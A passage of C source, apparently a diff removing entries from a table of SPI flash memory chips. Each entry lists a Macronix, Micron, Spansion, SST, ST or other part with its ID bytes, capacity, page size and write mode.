SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1006E", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x22, 0x11, "MX25L1021E", 131072, 32, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1025C", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1026E", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12805D", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12835E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12835F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12836E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12839F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12845E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12845G", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12845F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12865E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12865F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12873F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12875F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x19, - "MX25L25635E", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x15, "MX25L1605", 2097152, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "MX25L1605A", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "MX25L1605D", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "MX25L1606E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1633E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1635D", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x15, - "MX25L1635E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1636D", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x15, - "MX25L1636E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1673E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1675E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2005", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2005C", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2006E", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2026C", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2026E", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x16, "MX25L3205", 4194304, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3205A", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3205D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3206E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3208E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3225D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3233F", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3235D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3235E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3236D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3237D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x36, - "MX25L3239E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3273E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3273F", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3275E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4005", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4005A", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4005C", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4006E", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4026E", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25L512", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25L512A", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25L512C", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x22, 0x10, "MX25L5121E", 65536, 32, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x17, "MX25L6405", 8388608, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6405D", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6406E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6408E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6433F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6435E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6436E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6436F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x37, - "MX25L6439E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6445E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6465E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6473E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6473F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6475E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x14, "MX25L8005", 1048576, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8006E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8008E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8035E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8036E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8073E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8075E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x19, - "MX25L25673G", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x10, "MX25R512F", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x11, "MX25R1035F", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x15, - "MX25R1635F", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x12, "MX25R2035F", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x16, - "MX25R3235F", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x13, "MX25R4035F", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x17, - "MX25R6435F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x14, - "MX25R8035F", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x31, - "MX25U1001E_1.8V", - 131072, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x18, - "MX25U12835F_1.8V", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x39, - "MX25U25673G_1.8V", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x39, - "MX25U25645G_1.8V", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x35, - "MX25U1635E_1.8V", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x35, - "MX25U1635F_1.8V", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x32, - "MX25U2032E_1.8V", - 262144, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x32, - "MX25U2033E_1.8V", - 262144, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x36, - "MX25U3235E_1.8V", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x36, - "MX25U3235F_1.8V", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x33, - "MX25U4032E_1.8V", - 524288, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x33, - "MX25U4033E_1.8V", - 524288, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x33, - "MX25U4035_1.8V", - 524288, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x30, - "MX25U5121E_1.8V", - 65536, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x37, - "MX25U6435F_1.8V", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x37, - "MX25U6473F_1.8V", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8032E_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8033E_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8035_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8035E_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x38, - "MX25U12873F_1.8V", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25V1006E", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x11, "MX25V1035F", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25V2006E", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x12, "MX25V2035F", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25V512", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25V512C", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25V512E", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x10, "MX25V512F", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25V4005", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25V4006E", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x25, 0x53, "MX25V4035", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x13, "MX25V4035F", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x14, "MX25V8005", 1048576, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25V8006E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x25, 0x54, "MX25V8035", 1048576, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x23, - 0x14, - "MX25V8035F", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x3A, - "MX66U51235F_1.8V", - 67108864, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x3B, - "MX66U1G45G_1.8V", - 134217728, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x16, "N25Q032A", 4194304, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x17, "N25Q064A", 8388608, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x19, "N25Q256A13", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x20, "N25Q512A83", 67108864, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x2C, 0xCB, 0x19, "N25W256A11", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, - 0xBA, - 0x18, - "MT25QL128AB", - 16777216, - 256, - SPIMemChipVendorMICRON, - SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x19, "MT25QL256A", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x20, "MT25QL512A", 67108864, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, - 0xBA, - 0x22, - "MT25QL02GC", - 268435456, - 256, - SPIMemChipVendorMICRON, - SPIMemChipWriteModePage}, - {0x20, 0xBB, 0x19, "MT25QU256", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, - 0xBA, - 0x21, - "N25Q00AA13G", - 134217728, - 256, - SPIMemChipVendorMICRON, - SPIMemChipWriteModePage}, - {0x37, 0x30, 0x10, "MS25X512", 65536, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "MS25X10", 131072, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "MS25X20", 262144, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x13, "MS25X40", 524288, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x14, "MS25X80", 1048576, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x15, "MS25X16", 2097152, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x16, "MS25X32", 4194304, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x11, "N25S10", 131072, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x12, "N25S20", 262144, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x13, "N25S40", 524288, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x15, "N25S16", 2097152, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x16, "N25S32", 4194304, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x14, "N25S80", 1048576, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x7C, "NX25P10", 131072, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x15, "NX25P16", 2097152, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x7D, "NX25P20", 262144, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x16, "NX25P32", 4194304, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x7E, "NX25P40", 524288, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x13, "NX25P80", 1048576, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x20, 0x40, 0x15, "M45PE16", 2097152, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "M25P05", 65536, 128, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "M25P05A", 65536, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "M25P10", 131072, 128, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "M25P10A", 131072, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x12, "M25P20", 262144, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x13, "M25P40", 524288, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x14, "M25P80", 1048576, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "M25P16", 2097152, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x16, "M25P32", 4194304, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x17, "M25P64", 8388608, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, - 0x20, - 0x18, - "M25P128_ST25P28V6G", - 16777216, - 256, - SPIMemChipVendorNUMONYX, - SPIMemChipWriteModePage}, - {0x20, 0x80, 0x11, "M25PE10", 131072, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x15, "M25PE16", 2097152, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x12, "M25PE20", 262144, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x13, "M25PE40", 524288, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x14, "M25PE80", 1048576, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0xBF, 0x43, 0x00, "PCT25LF020A", 262144, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x49, 0x00, "PCT25VF010A", 131072, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x41, "PCT25VF016B", 2097152, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x43, 0x00, "PCT25VF020A", 262144, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x4A, "PCT25VF032B", 4194304, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x44, 0x00, "PCT25VF040A", 524288, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x8D, "PCT25VF040B", 524288, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x8E, "PCT25VF080B", 1048576, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x10, "S25FL001D", 131072, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x11, "S25FL002D", 262144, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x12, "S25FL004A", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x12, "S25FL004D", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "S25FL004K", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x13, "S25FL008A", 1048576, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x13, "S25FL008D", 1048576, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "S25FL008K", 1048576, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x14, "S25FL016A", 2097152, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "S25FL016K", 2097152, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x15, "S25FL032A", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "S25FL032K", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x15, "S25FL032P", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x12, "S25FL040A", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, - 0x02, - 0x26, - "S25FL040A_BOT", - 524288, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, - 0x02, - 0x25, - "S25FL040A_TOP", - 524288, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, 0x02, 0x16, "S25FL064A", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "S25FL064K", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x16, "S25FL064P", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x40, 0x15, "S25FL116K", 2097152, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, - 0x40, - 0x18, - "S25FL128K", - 16777216, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, - 0x20, - 0x18, - "S25FL128P", - 16777216, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, - 0x20, - 0x18, - "S25FL128S", - 16777216, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, 0x40, 0x16, "S25FL132K", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x40, 0x17, "S25FL164K", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, - 0x02, - 0x19, - "S25FL256S", - 33554432, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x41, "SST25VF016B", 2097152, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x8C, "SST25VF020B", 262144, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x4A, "SST25VF032B", 4194304, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x4B, "SST25VF064C", 8388608, 256, SPIMemChipVendorSST, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x8D, "SST25VF040B", 524288, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x8E, "SST25VF080B", 1048576, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0x20, 0x71, 0x15, "M25PX16", 2097152, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x71, 0x16, "M25PX32", 4194304, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x71, 0x17, "M25PX64", 8388608, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x71, 0x14, "M25PX80", 1048576, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "ST25P05", 65536, 128, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "ST25P05A", 65536, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "ST25P10", 131072, 128, SPIMemChipVendorST, 